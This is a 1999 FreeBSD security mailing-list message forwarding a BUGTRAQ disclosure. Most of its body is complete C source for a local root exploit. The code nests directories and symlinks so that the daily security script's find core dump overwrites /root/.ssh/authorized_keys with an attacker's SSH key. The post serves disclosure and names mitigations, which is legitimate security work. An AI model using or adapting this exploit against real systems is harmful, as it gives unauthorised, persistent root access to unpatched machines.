From owner-freebsd-security  Thu Aug 26  9:57:43 1999
Delivered-To: freebsd-security@freebsd.org
Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1])
	by hub.freebsd.org (Postfix) with ESMTP
	id 4E75D14E96; Thu, 26 Aug 1999 09:57:32 -0700 (PDT)
	(envelope-from mike@sentex.net)
Received: from simoeon (simeon.sentex.ca [209.112.4.47]) by granite.sentex.net (8.8.8/8.6.9) with SMTP id MAA06123; Thu, 26 Aug 1999 12:56:29 -0400 (EDT)
Message-Id: <3.0.5.32.19990826125500.01d258a0@staff.sentex.ca>
X-Sender: mdtpop@staff.sentex.ca
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
Date: Thu, 26 Aug 1999 12:55:00 -0400
To: freebsd-security@freebsd.org
From: Mike Tancsa <mike@sentex.net>
Subject: New exploit ? Patch ? (from BUGTRAQ Aug26 1999)
Cc: security-officer@freebsd.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-freebsd-security@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.org


From BUGTRAQ today... 

	---Mike



Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@securityfocus.com
X-Mailer: XFMail 1.3 [p0] on Linux
X-SMS:  +48601383657@text.plusgsm.pl
X-PGP:  PGP key on WWW or finger
X-Operating-System: FreeBSD 3.2-STABLE (i386)
Date:         Tue, 24 Aug 1999 23:47:05 +0200
Reply-To: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Przemyslaw Frasunek <secure@FREEBSD.LUBLIN.PL>
Organization: Lubelska Grupa Uzytkownikow BSD
Subject:      FreeBSD (and other BSDs?) local root explot
X-To:         bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

/*

 (c) 1999 babcia padlina ltd. <babunia@FreeBSD.lublin.pl>

 bug in fts_print function allows to overwrite any file in system, when
 running /etc/security script (executed from 'daily' scripts).

 affected systems:
   - freebsd (all versions)
   - probably openbsd/netbsd

 fix:
   - limit root's coredump size
   - patch libc

*/

#include <stdio.h>
#include <errno.h>
#include <sys/stat.h>
#include <strings.h>
#include <unistd.h>

#define STRING          "\nYOUR PUBLIC SSH1 KEY (-b 512) GOES HERE!\n"
#define FILE            "/root/.ssh/authorized_keys"
#define CORE            "find.core"
#define DEPTH           300
#define BUFSIZE         250

int makedir(dir, linkfrom, linkto)
char *dir, *linkfrom, *linkto;
{

        if (mkdir(dir, (S_IRWXU | S_IRWXG | S_IRWXO)))
                return -1;

        if (chdir(dir))
                return -1;

        if (symlink(linkfrom, linkto) < 0)
                return -1;

        return 0;
}


int main(argc, argv)
int argc;
char **argv;
{
        int i = 0;
        char pid[10], buf[BUFSIZE];

        sprintf(pid, "%d", getpid());

        if (mkdir(pid, (S_IRWXU | S_IRWXG | S_IRWXO)))
        {
                perror("mkdir()");
                return -1;
        }

        if (chdir(pid))
        {
                perror("chdir()");
                return -1;
        }

        bzero(buf, BUFSIZE);
        memset(buf, 0x41, BUFSIZE-1);

        for(i=0;i<DEPTH;i++)
        {
                if (makedir(STRING, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }

                if(makedir(buf, FILE, CORE) < 0)
                {
                        perror("makedir()");
                        return -1;
                }
        }

        return 0;
}

- ---
* Fido: 2:480/124 ** WWW: FreeBSD.lublin.pl/~venglin ** GSM: +48-601-383657 *
* Inet: venglin@FreeBSD.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF *

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 5.0i for non-commercial use
Charset: noconv

iQA/AwUBN8MS2P6SPyHAYTvjEQLK5ACfZ1cVpjGzqIF3bTsIX/wrahJOqy4AoOEx
JkgnTo+Dk3QUFGT2bZdmxx9S
=Tyvh
-----END PGP SIGNATURE-----

------------------------------------------------------------------------
Mike Tancsa,                          	          tel 01.519.651.3400
Network Administrator,     			  mike@sentex.net
Sentex Communications                 		  www.sentex.net
Cambridge, Ontario Canada


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message